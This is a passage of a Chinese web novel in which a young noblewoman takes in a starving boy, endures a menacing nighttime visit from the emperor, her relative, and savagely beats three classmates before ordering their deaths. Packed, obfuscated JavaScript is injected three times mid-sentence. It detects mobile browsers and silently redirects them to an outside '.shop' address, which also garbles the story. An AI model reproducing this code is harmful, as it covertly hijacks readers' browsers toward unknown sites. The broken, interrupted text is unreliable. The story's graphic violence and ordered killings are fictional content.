几个小时以后,为小久检查身体的家庭医生到了公寓,家庭医生和槐翎认识已有十来年,凭借着良好的职业操守,医生并没有问不该问的问题,在详细又仔细地为小久进行检查后,旁边的助手也填好了相应的报告,没过多久就能把完整且正确的报告发给槐翎看。 “总体来说,他的身体没有什么大碍,就是需要多补充营养,从他现在的身高体重来看,是远远低于同龄人水平的。”医生缓缓说道。 “伤口的缝合非常漂亮,这有助于加快伤口的愈合,预计再过两天就能拆线了,这期间可以避开伤口洗澡,不过最好有人帮忙,药的话记得吃消炎药就可以。”医生又补充了两句,在说到伤口缝合的时候,槐翎的面部表情还是略有些松动。 后面医生和助手再说了些什么槐翎就没心思听了,在打发走家庭医生后,之前约好的家具商也来了,不过显然现在的槐翎并没有心情去应付他们,她把目录往小久手里一塞,自己就背过身去不再接话。 家具商十分有眼力劲地开始招待起小久,小久并不敢随心所欲地选择家具,最后只选择了一张单人床,饶是家具商再怎么推销,他也不为所动。 家具商只好硬着头皮去和槐翎搭话,槐翎从刚刚起就一副陷入沉思的模样,她虽面无表情,但流露出拒人千里之外的冷漠依旧有着不容小觑的杀伤力。 她的回忆被打断,但她并未表现出半分不快,槐翎简略地扫了一眼目录,随后指了一个套装设计,这个设计价格不菲,只这么一指就足够让家具商高兴地卑躬屈膝。 家具商开开心心地送来家具,组装加布置一套下来行云流水,这么折腾下来也到了中午,槐翎抱着手臂回头看向小久,她不是没听见小久和家具商之间的对话。 竟然只看中一个单人床?是不是太会替槐翎省钱了? “午饭想吃什么?”不过,槐翎并未点破,他们之间还有时间,流浪的猫狗总是有戒备心的,饲主不仅要用美食诱惑之,还要用温暖舒适的住所来感化之,如果游戏太过简单,那就完全没有游玩的体验了。 小久只是摇了摇头,把选择权交回给槐翎。 本来槐翎也没有真的让他选择的机会,她轻笑,接着在手机上下单了午饭,她没有在家做饭的习惯,虽懂得基本生存的技能,但也仅限于紧急事态。 在等待午饭到来的期间,槐翎招手让小久一起坐下来,二人之间隔得还有些远,槐翎无意强行拉近距离,她喝了口热茶,随后轻叹了口气。 “倒也不用这么拘谨,我是个随和的人,你似乎怀有不少疑问,要不要趁这个机会好好聊聊?”槐翎尽可能地使自己的话语听上去不那么疏远。 小久接收了来自槐翎友好的信号,自然也点头,他垂眸认认真真地思考起接下来要开启的话题。 关于小久的底细,槐翎在带他回来之前就听过宏叔的建议,她还记得宏叔那副认真至极的脸庞。 “得认真排查间谍的可能性才行,这也是为了小姐的安全。” 槐翎自己倒是不怎么在意,这副样子到底是谁会把他当成间谍?这虚弱的身体一推就能散架,虽说是来自E区,但也不像一般E区出身的人,怕不是别的区的人流浪过去的,而且会这样的人多数是因为犯罪、疾病、家道中落等等原因。 槐翎自然而然把他归类成家道中落那一类了。 小久仔细考虑了很久,他也在酝酿如何把问题问出来,沉默又尴尬的气氛压得他有些呼吸困难,但这是槐翎主动提出的主意,无论如何他也要回应这个善意,在做好了十足的心理准备后,小久终于鼓起了勇气。 “那个…之后我该怎么…” 没等小久说完,一段突兀的提示音打断了他的话语,槐翎的注意力也全被那声音带走,她拿出手机,在看到上面显示的名字后,她脸色微微一变,却在下一刻就恢复了平常的模样,她立马站起来走向客厅另一头接听了电话。 小久张着嘴巴,剩下的半句话卡在他的喉咙处,不知道是咽回去好,还是吐出来好。 而槐翎只给了他一个眼神便让他不要再说下去了。 “堂哥?有什么事吗?”她的声音沉稳又平静。 小久低下头,耐心地等待槐翎讲完电话。 槐翎站得很远,只能听到只言片语,但能明显感觉到她的不快。 “这几天我有点不舒服,明天会来上课的。谢谢关心,已经好很多了,堂哥你那边一切顺利?” 那边叽里呱啦又说了一堆,槐翎的不快积累得越来越多,她不断踱步,鞋跟在地板上发出尖锐刺耳的声音。 “明晚是吗?我尽量去,既然是她的生日那我可得准备礼物了,谢谢提醒。” 槐翎又讲了很久的电话,在那期间她下单的午饭也到了,小久接过了由机器人送来的午饭,饭菜还是热腾腾的,虽然是外带依旧有着精致的摆盘,一打开盖子就能闻到扑鼻的香味。 小久把饭菜都放好在饭桌上,他就这么站在旁边注视槐翎的身影,他不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161043|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能自己先吃,即便饥饿感的袭来使得他有些头晕目眩。 他感觉自己站了许久,久到饭菜不再热,也不再可口。 等槐翎讲完电话后,她咬牙切齿地捏紧手机,因为生气,胸腔正在用力地起伏着,在看到饭桌旁的小久时,她忍下了心里的不快,她快步走到小久身旁,看着他苍白的脸,又看向那一桌精美的饭菜。 “吃饭吧。”槐翎坐了下来,她刚把饭菜送进口中就能感觉到上面只余下一丝温热,看样子放了很久。 她原本压下去的火气因为这个冰冷的饭菜瞬间爆发了,她用力地放下筷子,筷子在桌面发出巨响,小久的身体抖了一下,他还没吃上一口,自然是不知道饭菜怎么了。 换做是平时,槐翎恐怕会让人把全部的饭菜都扔掉,但在看到小久那苍白的脸后,她深吸了一口气,而后捏了捏眉心。 “去加热一下再吃。”她站起来,又意识到小久的性格怕是个死心眼的,只好补充了一句:“你吃吧,我还有些事。” 而后她头也没回地回了房间,门栓的声音再次响起,偌大的饭厅只剩下小久一人。 原本刚刚是个很好的机会继续之前的话题的,他心里刚刚燃起的火焰在那个眼神之后就彻底熄灭了,谈不上失落,也谈不上难过。 他没有听从槐翎的吩咐加热饭菜,而是一口接着一口塞进嘴巴里,他细细品味着,为了生存他做过许多挣扎,即便是冷掉了的饭菜,也比在E区里的食物要好上百倍,在这里他不用担心食物的腐败,也不用担心与野狗抢食。 不过他还是拿出一双新的筷子,把没动过的食物分了一半给槐翎,他不可能一个人全部吃完,分出来的那一半他好好保存着放进冰箱,在空荡荡的冰箱里,几个用小碟子装着的食物显得格格不入。 他迅速地用食物装满腹部,久违的饱腹感让他困意迅速来袭,他感觉自己此刻才真的活了过来——从E区那个地狱里。 槐翎在那之后都没有出来过,小久收拾好残局,静静地站在槐翎的房门前,他深呼吸数次,还是鼓足了勇气敲门。 几秒后,槐翎一脸疑惑地打开了房门。 “我把饭菜放冰箱里了。”小久简单地说明了来意,这一句话却让槐翎用了半分钟才反应过来,她不解地点点头,见小久还没有离开的意思,她耐心地等待小久继续说下去。 “现在我可以休息一下吗?我的意思是,下午还有安排吗?”小久问。 这好像不值得特意来问吧?槐翎再次点头,睡个午觉而已,E区人连这个都做不到吗? 在得到槐翎的允许后,小久才得以回自己的房间,他轻轻掩上房门,而后趴在崭新柔软的床垫上,还没等他调整好姿势就迅速进入了深度睡眠。 槐翎还在努力消化小久的话,他为什么要把饭菜放在冰箱? 于是她打开冰箱,看到里面放着几个碗碟,都整整齐齐地包装好,还有用便条写的日期,槐翎拿起便条,上面的字倒是出乎意料地好看。 在她的观念里,碗碟这种东西从来都不会进冰箱的,更别说多余的饭菜了。 不过,现在看来好像也没什么不好。 9. 第 9 章 夜晚,槐翎让宏叔来了一趟公寓。 在槐翎入住后,宏叔还是第一次来公寓,只是管家也没想到,尽管槐翎入住已有一年,各种设施却还是看上去和新的差不多。 槐翎和小久坐在客厅的中央,宏叔的目光很快地在小久身上转了一圈,他面无表情,也没有说话。 “带他打理一下,衣服那些也要购置,找个什么顾问负责吧。我明后天应该没时间回来,你帮我看着,如果要去外面逛逛的话,注意别让我父母知道就行。” 槐翎放下茶杯,宏叔记好了任务,他颔首,又问了些细节。 “对了,这几天找个家教给他。” 家教二字出来,小久和宏叔都有些惊讶。 “家教指的是?”宏叔追问道。 “字面意思,找个女教师吧,公寓的密码之后可以给她一份,还有书房也更新一下,分成两个部分,之后都是要用的。”槐翎全然没有意识到自己说了怎样惊世骇俗的话语来。 “请家教是要?”这下小久也按捺不住追问了。 “当然是要入学特雷斯学院了。”这句话如同一道惊雷,劈得二人久久不能回神。 不过宏叔凭借过人的职业素养很快回过神来,他轻咳一声:“既然是要为入学做准备的话,是否需要和院长提一下?” “这个啊…”槐翎扭头看向小久,“就要看你的表现了,毕竟你也知道的,我不喜欢头脑不好的人,特雷斯学院虽然都是些关系户,但不代表他们都是不学无术的纨绔子弟。” 她露出了笑容,这既是对小久的考验,也是一个不可多得的机遇。 小久感觉全身的血液都往头部涌去,他磕磕绊绊地点头并向槐翎点头道谢,不管怎么样,能接受教育才是真正改变人生的一步。 槐翎甚是满意小久的反应,她带着笑意又和宏叔交代了些事项,气氛比起一开始要缓和不少。 * 到了深夜后这个小小的会议终于结束,槐翎也得以好好整理心绪。 她本来也不过是一时兴起才会把小久带回来,既然带回来了那么就得负责任,至少以她的能力在外物方面是不会亏待小久的。 上学这个事情是她经过深思熟虑的,只不过这件事恐怕会在学院掀起不小的波澜,说不定会有好事者把这件事和上面说,到时候要怎么处理槐翎还没想好。 只不过,同样是把人当玩物这件事,既然别人能做,凭什么槐翎做不得? 她必须承认自己是有些卑劣的想法,但对于小久而言,这是对大家都好的事情,各取所需,又有什么问题? 从思考中抽离时,槐翎站在衣帽间里,明后两天她要随堂哥参加一个生日派对,要庆祝谁的生日来着?槐翎一点印象都没有,她想要拒绝这样无用的社交,又没有选择的余地。 如果不成为站在金字塔顶上的人,那么就算再怎么接近塔顶,她也无法拥有自由。 她迅速收拾好行李,躺在床上为自己做了好一阵子的思想准备,才沉沉睡去。 白天一大早槐翎就准备好出门去上学,小久似乎早早就醒来了,他规规矩矩地站在门口,这副模样让槐翎倒是让心情好了不少。 她不由自主地伸手摸了摸小久的头,毛茸茸的,手感不咋地,回头得告诉宏叔让人做个护理。 “后天见,这几天你照顾好自己。” 小久点头平静地接受了槐翎的魔爪,趁着槐翎穿鞋的空隙,他再次大着胆子问道“以后,我要怎么称呼你比较好?” 槐翎一愣,这个问题她还没真没考虑过,叫全名显然有些见外,毕竟他们已是同居的状态,不过槐翎并没有小名,亲近的人最多叫声阿翎,槐翎对此并不排斥。 “叫我阿翎就行了,大家都这么叫我。”槐翎握着大门的门把手,突然想起来昨天没能继续的话题,她回头看了眼小久,露出了狡黠的笑容。 “昨天你是想问我这个,对吗?” 被猜中的小久有些手足无措,槐翎确实是个聪明又敏锐的人,如果A区都是这样的人,小久都不敢想有多可怕。 “你挺好懂的。”说完后,槐翎被满脸通红的小久逗得心情好了不少。 * 一天的课程很快就完成了,槐翎也迅速补完了落下的作业,幸好完成得很好,就算晚交了些老师也给予了A等评价。 最后一节课结束后,校门口已经聚集了好些人,召集人很显然就是槐雾,在看到姗姗来迟的槐翎后,槐雾推开身边的人,执意要把槐翎带在自己身边,槐翎满是不自在地避开和其他人的身体接触,他们身上的浓烈香味使得槐翎头晕目眩,甚至有些作呕。 槐雾的心情很好,他拉着槐翎上了车,奢华的车辆载着他们驶向港口,在看到停靠的游轮时,槐翎也未有丝毫情绪波动。 一切都是吵吵闹闹的,同样亦是聒噪且无聊,槐翎换上黑色的礼服,红色的头发简单地挽起,她没有化妆,素净的脸上带着淡漠与疏离。 等到所有乘客就位后,游轮驶离了港口,向远处出发,海风带着腥味吹在槐翎的脸上,她手里拿着槐雾硬塞的红酒杯,面无表情地跟着槐雾穿梭在人群之中,向着一个又一个不熟悉的人打招呼。 他们好像和游戏里的NPC没什么不同。 槐翎在心里想着,她喝了一杯又一杯红酒,旁边的槐雾脸逐渐变红了,本次宴会的主角在宴会厅的深处,他被宾客包围着,只能听见爽朗的笑声。 槐翎隐约想起那人是谁,好像是哪个官员吧,毕竟槐翎怎么着都跟皇帝沾亲带故,所以很自然会被邀请过来。 说实话,槐翎对陌生人的生日派对一点兴趣都没有,她找了个借口摆脱了槐雾,宴会才刚开始,槐雾就已经有些醉了,因此对于槐翎那蹩脚的借口一点怀疑都没有。 槐翎独自一人靠着栏杆,旁边的人正三五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161044|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成群在聊天,聊的不外乎是些政事,家庭琐事,有些人自然是认出来槐翎的身份了,他们主动地点头问好,槐翎也礼貌地给予了回应。 她也终于得以放下酒杯,酒精的味道让她头晕恶心,下意识地想要拿出一根烟清醒清醒脑袋,却忘记了在进入船只的时候,那个收走了打火机的机器人。 她用力地咂嘴表达了不满,只好把烟放回包里,猛烈的海风吹过,吹散了她的发髻,她的红色长发如同绸缎般披散下来,船上华丽的灯光竟然衬得她有几分独特的韵味。 不远处一名女性直勾勾地看向槐翎,她穿着朴素至极的套装,没有任何首饰做额外的装扮,同样不施粉黛的脸上有着和其他宾客截然不同的和善。 她留了一头干净利落的短发,眼尾微微上翘,精致小巧的鼻头微微翘起,五官给人的第一眼印象并不精明,不过眼神锐利得像是刚开刃的匕首,能将人的伪装硬生生地剖开,不仅如此,这把匕首的尾部还带着钩齿,像是不把肠子不拉出来就不会罢休。 槐翎不喜欢被这样的凝视,于是她也同样地用眼神给予了回击,二人就这么远远遥望着,没有一人主动提出要对话,也没有一人想要逃离。 这场无声的较量在秒针走过不可数的格子后终于结束,广播要求所有宾客去宴会厅内部吃蛋糕,工作人员也紧接着引导在外面透气的宾客回去。 槐翎被分了块蛋糕,白花花的奶油里夹杂着不知道从哪里空运来的水果,槐翎并不饿,她看着叉子上的樱桃,不知道为什么让她想起来公寓里的冰箱,空荡荡的冰箱里放着几个被保鲜膜包起的碗碟。 于是她迅速地把蛋糕塞进嘴巴里,不管怎么样蛋糕是好吃的。 * 后面还有表演可以看,槐翎婉拒了主角的邀请,独自回到自己的房间里去。 房间的隔音很好,她终于可以放下心来好好休息。 在确认了房间的门窗锁好之后,槐翎伸出手按摩肿痛的太阳穴,因为摄入酒精带来的头痛也得到了些许缓解。 不知道为何,她对那个陌生的女性有些在意,那个女性实在是陌生,槐翎很确定她们两个是第一次见面,但那女的就这么盯着槐翎看,好像对于她来说并不是第一次见面,而且她的气质和其他人截然不同。 想到这里,槐翎拿出手机给槐雾发了个消息,以槐雾的身份拿一个宾客名册并不难,在等待了半个小时后,槐雾果真发回来一个名册。 槐翎立马点开名册进行检索,名册里大部分人她都认识,少数不认识的她只要推理一下也能简单得出身份,最后只排除剩下几个名单,然而仅凭名字她无法判断出对应的人脸,这场推理也只能到此为止。 深夜将临,槐翎安静地躺在大床上,她看着陌生的天花板,阳台处的窗帘拉得严严实实,房间内没有一丝光亮。 她抓紧了藏在衣服夹层里的物品,她所有的安全感都来源于此。 10. 第 10 章 一阵凉风时不时吹在槐翎的脸上,她在不知不觉中睡着了,是来自阳台的风让她清醒了些。 风?槐翎的大脑尚在混沌之中。 她记得她锁上了所有的门窗,窗帘也是严实的,然而此刻的她能清楚地感受到海风的咸腥味,还能听见海水拍在物体上的声音,幽暗的月光落在她的身侧。 槐翎在这个瞬间惊醒了。 她下意识地抽出自己藏好的物品,然而并没有触碰到自己熟悉的触感,在衣服夹层里她什么都没能抓到。 在房间黑暗的角落里,一个高大的身影渐渐显现。 他穿着一件定制的深灰色大衣,在大衣下是一件缝有银色暗纹的条纹西装,他嘴角上扬,饶有兴致地看着惊醒的槐翎,好像在看一件漂亮的图画。 槐翎藏在被子下的手指立马收紧了——她是有这个预感的,眼前的这个人就像是一条毒蛇,一旦被他盯上就无法逃脱。 “翎翎,我们有多久没见了?”他声音低沉富有磁性,带着掌权人特有的沉稳。 他的话语像是一只大手,紧紧地攥住了槐翎的心脏,她想要大声呼救,却因为恐惧而动弹不得。 这个人能够没有一丝声响就进入槐翎的房间,这个世上没有什么可以再阻挡他。 她最后的底牌也被轻而易举地夺走,此刻正在男性的手里把玩着。 那是槐翎费了不少劲弄来的武器,只需要一击就能让人类死亡,槐翎自行做了改装,尽可能地缩小了体积,使得它能够藏在各种隐秘的地方,只为在关键的时刻派上用场,那是槐翎对抗的底气。 “这种危险的玩具还是收起来比较好,你想要寻求刺激可以去E区玩,A区里的人还是比较脆弱的。”他轻声笑了。 槐翎只觉后背发冷。 但她不能不回应,她知道的,这个人不喜欢沉默,更不喜欢槐翎的反抗。 于是她努力控制着自己的牙齿不要发颤,舌头必须捊直,彻头彻尾的冰冷让她止不住地颤抖。 “上次见面还是在…新年宴会上。”槐翎咽了咽唾沫,“如果我没记错的话,堂叔。” 被唤作堂叔的男性没有回答,他往前走了两步,幽深的月光落在他的侧脸上,他和槐翎一样有着高挺的鼻梁,那是基因传承下来的礼物,也是一种诅咒。 令人窒息的氛围在堂叔的微笑中加重了不少,他既不应下这个称呼,也不拒绝这个称呼,从血缘来说,槐翎是要喊一声堂叔的——槐翎的父亲和他是堂兄弟,即便在他成为皇帝之后,这份血缘关系也不会有半分改变。 堂叔伸手挑起槐翎的发丝,他静静地把玩那红色的绸缎,另一半身子隐藏在黑暗之中,他身上有着烟草味与香水味,混合在一起只让槐翎觉得头痛欲裂。 “这段时间我很忙,之后我会常来看你的。” 说完,他用力地扯了扯发丝,槐翎白着脸忍受了来自头皮的痛楚,她咬紧牙关,全身的肌肉紧绷。 她不是没有想过反抗,只是堂叔绝对不是一人出现在此,仅凭槐翎一个人的力量,这和送死没有差别。 “你妈妈说在别院度假的日子挺开心的,我已经挽留她多住几天了,你不会介意吧,翎翎?” 槐翎紧绷的肌肉在听到这句话后瞬间松弛了下来,她还有人质在这个人的手里,她不可能反抗的。 血色迅速从她脸上褪去,只余脸上的苍白,她低下头,不得不对眼前的人表示屈服。 “既然妈妈开心的话,那就听你的安排好了。”她的声音沙哑,浓烈的恨意裹挟着压在舌尖处。 他勾了勾唇,松开了缠着发丝的手指,冰冷的指尖擦过槐翎的手背,一股恶寒充斥着槐翎的身体,她侧过头去想把自己隐藏在夜色里。 将槐翎从这个粘腻的淤泥中解放出来的是门外的提醒声,堂叔在那瞬间敛起了所有的笑意。 他长得高大,在离开之前只斜眼看向槐翎,他的眼神冰冷又尖锐,就像是在看一件物品。 等到堂叔离开后,房间内还弥漫着他的味道,槐翎只觉胃里一阵翻腾,她翻身冲向浴室,吐掉胃里所有的食物残渣,她吐得又急又用力,整张脸都因此憋红,直到从胃里深处牵扯出疼痛之后,槐翎才抬起头来。 她满脸都是生理泪水与唾沫,胃正在抽痛着,她握紧双拳,指甲深深地陷入掌心,鲜血从掌心流出,深红色的血液渗入地板的缝隙里,落入不可见的深渊之中。 在挣扎了几分钟后,槐翎快速洗了个冷水澡,那个人在她手背上留下的触感似乎还有残留,她不得不用流动的水冲了数次后,才有心情离开浴室。 床边的阳台门大开,夜风吹得窗帘四处飞扬。 风没能吹走房间内残留的味道,想到这里,槐翎原本平静下来的心再次乱了起来,她抄起手边的椅子朝窗户扔去,原本已是加固过的玻璃没能承受住这样的冲击,玻璃碎了一地,迎着风吹向了房间的深处。 椅子在地上翻滚了几下后才停了下来,槐翎的胸膛起伏极大,这样的破坏没能让她获得片刻的畅快,于是她抄起另一把椅子,向着另一个窗户砸去,玻璃再次破碎,巨大的声响引得外面议论纷纷。 议论的声音越来越大,有些人已经猜到房间内的人是槐翎,于是针对她的流言再次进入了人们的视野。 “哼,还是一如既往的骄纵,有这样的女儿真是累赘啊…” “她爸爸不是都剥夺实权了吗?不用说都知道是因为…” “不就是凭借着一副皮囊获得皇帝宠爱罢了,才这么年轻就知道使出这种肮脏的手段,该说不说,幸好她父亲失败了,不然这样的人可就要成为继承人了。” “哎呀,你能想象吗?这样的人来接管国家,真是荒谬呢。” 窃窃私语越来越多,最后不再是窃窃私语,他们的言语化成了利剑,每一个字都变成了子弹往槐翎的心里打去。 她不是第一次听到这样的话,她是不在意的,不,她只是现在不在意罢了。 过去槐翎曾经剧烈地反抗过,她会跑出去争辩,努力证明自己的清白,但只换来更多的冷嘲热讽。 后来,她成为了人们茶余饭后的笑话,于是她决定要用拳头捍卫自己的尊严,然而血肉制成的拳头终究无法抵御科技的力量,她被挡在了铜墙铁壁之外,针对她的笑声变得更响亮了。 槐翎心里清楚,因为她不是最强大的那个人,所以才会沦落至此,她不介意外面的人怎么评价自己,毕竟一旦戴上皇帝的称号之后,这些非议都会变成她脚边最不起眼的灰尘。 只有拥有绝对的力量,才能站在金字塔塔尖。 但这不意味着她是一个会忍气吞声的软柿子。 槐翎平复了心情,她恢复了往日的冷静,像是要去商场购物一样泰然自若点开了手机上的名册。 走廊上看热闹的人还没散去,等他们看到槐翎出现在吊灯之下时,他们立马止住了话头,诡异的沉默让他们面面相觑。 “刚刚说那些话的人,如果我没记错你们声音的话,应该是以下几位吧?”槐翎平静地念出名册上的名单,被念到名字的人瞬间冷了脸,却未有轻举妄动。 “你把我们的名字念出来是想要做什么?”其中一人终是按捺不住,用着并不友善的语气,轻蔑又轻佻。 “念个名字而已,你急什么?”槐翎把手机收起来,看来她的记忆力是一如既往地好,她面带微笑,抱着手臂,对着身边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161045|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低语置若罔闻。 “哼,一个丫头片子还能把我们怎么样,真当在过家家呢。”那人随即就转身离去。 槐翎眼里的凶狠在这瞬间一闪而过,她斜睨四周,好些看热闹的人讨了个无趣渐渐散了。 余光里,槐翎再次看到那个气质特别的女性,她依旧站在远处静静地注视着槐翎,就像是在看一场乏味的闹剧,又像是身处闹剧里的一员,让人捉摸不透。 * 生日宴会结束后,槐翎和往常一样回到特雷斯学院上课。 不过在课间她没有选择去休息,而是凭借记忆力走向另一个课室,这个班级的课程还没结束,槐翎也没有和正在讲课的老师打招呼,而是用手指敲了敲门,巨大的声响吸引了学生的注意力。 而槐翎在这一张张稚嫩的脸上找到了自己的目标。 她面带微笑,走向那个一脸无知又迷茫的学生,伸手抓住他的领子,虽然这个学生有些肥胖,但槐翎强壮有力的手臂依旧能够把他从课室里拖出去。 “喂,槐翎,你在做什么?!”老师连忙上前阻止。 槐翎一手捂着学生的嘴巴,一手提着他的衣领,她不慌不忙地向老师打招呼,此时太阳正盛,阳光照得人暖洋洋的,而槐翎说出来的话却让人起了一身鸡皮疙瘩。 “能在A区工作,一定很不容易吧?有些事情你不管的话,对大家都比较好呢。” 她一句话足够打发老师离开,年老的老师只得装作看不见。 在这个学院里,所有学生都是有权势背景的,在看似平等的A区里,恰恰每个人都是最不平等的。 槐翎松开捂住嘴巴的手,让他尽情地嘶吼挣扎,她拖着学生来到另一个班级的走廊,充满好奇心的学生纷纷探头出来看发生了什么。 槐翎热情和大家打了招呼,而后她用修长的手指抓住学生的头发,她力气很大,又因为学生一直在挣扎,很快他的头皮上满是血迹。 “喂,你这个疯子,你知道我爸爸是谁的吧?我可是听说过你的事迹的,没了皇帝宠爱的你…”没等他的话说出来,槐翎的拳头便狠狠地落在他的鼻梁上。 带着清脆的破碎声,后半句话被迫咽了回去。 杀猪般的哀嚎刺耳得让围观的人都倒吸一口气,警卫和医生在赶来的路上,好些人已经在打电话通风报信,有些胆子大的对着槐翎开始拍照录像。 他们脸上或有不解,或有惧怕,但更多的是嘲讽。 眼前的学生终于不挣扎了,槐翎才得以活动了双手,她刚刚那一拳足够击断鼻梁,但这还不够。 他疼得捂脸满地打滚,鲜血流了满地,猩红的双眼死死瞪着槐翎,如果不是说不出话,此刻他一定会用尽这辈子最肮脏的话语来诅咒槐翎。 热身完毕之后的槐翎,抬脚踩向他的头部,坚硬的鞋跟只需要稍稍用力就能发挥出人意料的效果。 更大的惨叫声发出,叫声之凄厉,使得围观的人都纷纷捂住耳朵背过身去,尽管如此也没有人站出来阻止槐翎,毕竟此时的她浑身上下散发的肃杀之气,足够让人退避三舍。 槐翎狠狠地用鞋跟踩向学生的嘴巴,几下之后嘴唇已是彻底不成样子,鲜血四溅在墙壁与地板上,原本尖锐高亢的尖叫声逐渐微弱下去,他的气息断断续续的,只余下刺耳的呼吸声从身体的不知道哪里泄出。 “下一个是……”槐翎面色如常,她抬头向不远处进行搜索。 她向来记性很好,谁是谁的子女,槐翎脑子里是清楚得很,所以要找到那些嚼舌根的人一点都不难。 只要想象他们的父母在看到自己的子女变成这样后的表情,槐翎就忍不住想笑,她一边想着,一边露出灿烂的笑容。 11. 第 11 章 那天下午总共有三个人被抬走,他们离开的时候还清醒着,不过能不能清醒着回来这个就无人能保证了。 校方按照规定把槐翎留了下来,但除了把槐翎留下来,他们并没有什么能做。 在这里没有警察,自然不会有人对槐翎发出指控。 槐翎慢条斯理地喝完咖啡之后,透过玻璃看到了外面站着的槐雾,他正在和校方交谈,时不时还露出笑容,气氛很是融洽。 在交谈了几分钟后,槐雾就带着人来把槐翎放走。 “等久了吧?饿不饿,我带你去吃东西。”槐雾大大咧咧地抱了一把槐翎,槐翎忍着对他的嫌恶接受了这个拥抱。 “我不饿,辛苦你来一趟了。”槐翎不着痕迹地拉开与槐雾的距离,她活动了久坐的身体,外面几个教师正一脸不满地看向槐翎。 满满的都是对她的恶意。 不过槐翎现在已经不在意了,要碾死这些人就跟弄死蚂蚁一样简单,过于无趣,倒是没什么意思。 “你也是的,要是不喜欢他们的话,跟父亲说一声就能让他们离开A区了吧,何必亲自动手。”槐雾全然没有发觉到旁边人散发的恶意,他就像在讨论今天的天气一样自在,一边领着槐翎离开教学楼。 槐翎笑而不语,她是绝对不可能,就算是死也不会主动和皇帝说话的。 “下次交给我处理就好,别看我这个样子,我还是有点话语权的。”槐雾自信满满地打起包票。 槐翎心里不由自主地想起皇帝那张阴沉的脸,这样的人竟然会生下槐雾这样愚蠢的后代,该说不说还是有点意外的。 “听说他们家人很生气呢,但是又没有一点办法,不过话说回来,你跟我说实话,他们是怎么惹到你了?” 槐翎停下脚步,她从口袋里掏出一根烟,熟练地点燃,烟雾覆在她的脸上,让人看不清她的表情。 那些传言被有意地阻止传播到槐雾耳中,他完全不知道发生了什么,在他身边的人也有同样的意识,从未在他跟前讨论过槐翎的事情。 “...也没什么,单纯看他们不爽罢了。”槐翎吐出烟圈,槐雾盯着她看了好一会,实在没能从槐翎脸上捕捉到什么细节,于是作罢。 “你这样叔叔阿姨会不开心的。”槐雾挠了挠头。 槐翎斜眼看向槐雾,他的表情倒不像是在说谎,但是从他嘴里听到自己的父母还是让槐翎心里多了几分不爽。 “先这样,我有事先回去了。”槐翎熄灭烟头,她不喜欢应付槐雾,更不喜欢和槐雾有过多的接触。 今天是宏叔来接的槐翎,他在校外等了有好一会,在看到槐翎之后就自觉地拉开车门,又迅速收好槐翎的行李,他自然也注意到了旁边的槐雾,朝他毕恭毕敬地鞠躬问好。 “好久没见宏叔了,身体还好吗?”槐雾和宏叔熟络地攀谈起来。 槐翎迅速给了宏叔一个眼神,宏叔便明白了槐翎的意思,迅速地结束了话题,槐雾也没什么心眼,没能注意到宏叔的疏远,和槐翎道别后就上自家的车了。 宏叔上车设置好自动行驶,几天没见槐翎,他也是有好些工作要汇报的。 “关于今天校方的通知,我已经拦下了,那边还不知道。” 槐翎闭上眼睛轻轻嗯了一声。 “不过对方似乎想联合提起诉讼,需要我提前去联系律师吗?” “哼,他们真的敢吗?在A区这种地方,会有法律可言?现在高|院的院长是槐家的人,可不是别的家。”槐翎轻蔑地回答。 “去联系医院把那三个人弄死,原本我还留了他们一口气,现在想来这口气也别要了。” 宏叔点头应下,他通过后视镜观察了眼槐翎的状态,意识到她的脸色并不好。 “是皇帝又来了吗?”宏叔小心试探道。 槐翎没有回答,算是默认。 宏叔抓着控制杆的手在得到回答之后立马用力抓紧了,他是看着槐翎长大的,自然明白槐翎此刻的心情。 “关于家庭教师——小久的事情,已经物色了一个不错的人选,您要先看看吗?”宏叔生硬地转移了话题,现在无论是谁都不想再提那个人。 “不用了,你把关就行,”槐翎揉了揉眼角,“帮小久报一个驾驶培训课,以后让他给我开车就行,宏叔你也六十岁了,这些劳累活还是交给小的吧。” 宏叔微微一愣,但很快恢复了工作状态,他的确已经不年轻,又因为槐翎的父母特意把槐翎托付给自己,实在放心不下,不然以他的年龄早就可以颐养天年了。 交代完事项后槐翎倒在车辆的后排,她累极了,这样摇摇晃晃行驶中的车辆反而让她有了睡意,就算只有一分钟也好,她也想闭上眼睛好好休息一番。 * 等槐翎醒来时,窗外淅淅沥沥的雨滴落在车上,不远处能看到闪电划破灰色的天空,乌云聚集到一起遮蔽了阳光。 她抬头看向时间,不知不觉中已睡了有半个小时,虽然时间不长,但也补充了槐翎的体力,她环顾四周,车上只有她一人,车辆空调设置到了适宜的温度。 而宏叔正举伞站在车外,背过身去在打电话。 